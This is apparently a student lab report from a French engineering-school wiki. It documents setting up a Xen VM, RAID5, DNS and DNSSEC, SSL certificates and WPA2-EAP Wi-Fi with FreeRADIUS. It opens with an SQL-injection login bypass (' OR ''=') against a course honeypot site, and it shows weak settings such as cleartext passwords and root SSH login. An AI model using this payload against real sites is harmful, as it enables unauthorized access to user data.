&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54702</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54702"/>
				<updated>2020-12-15T14:12:04Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Cassage de clef WEP d’un point d’accès WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
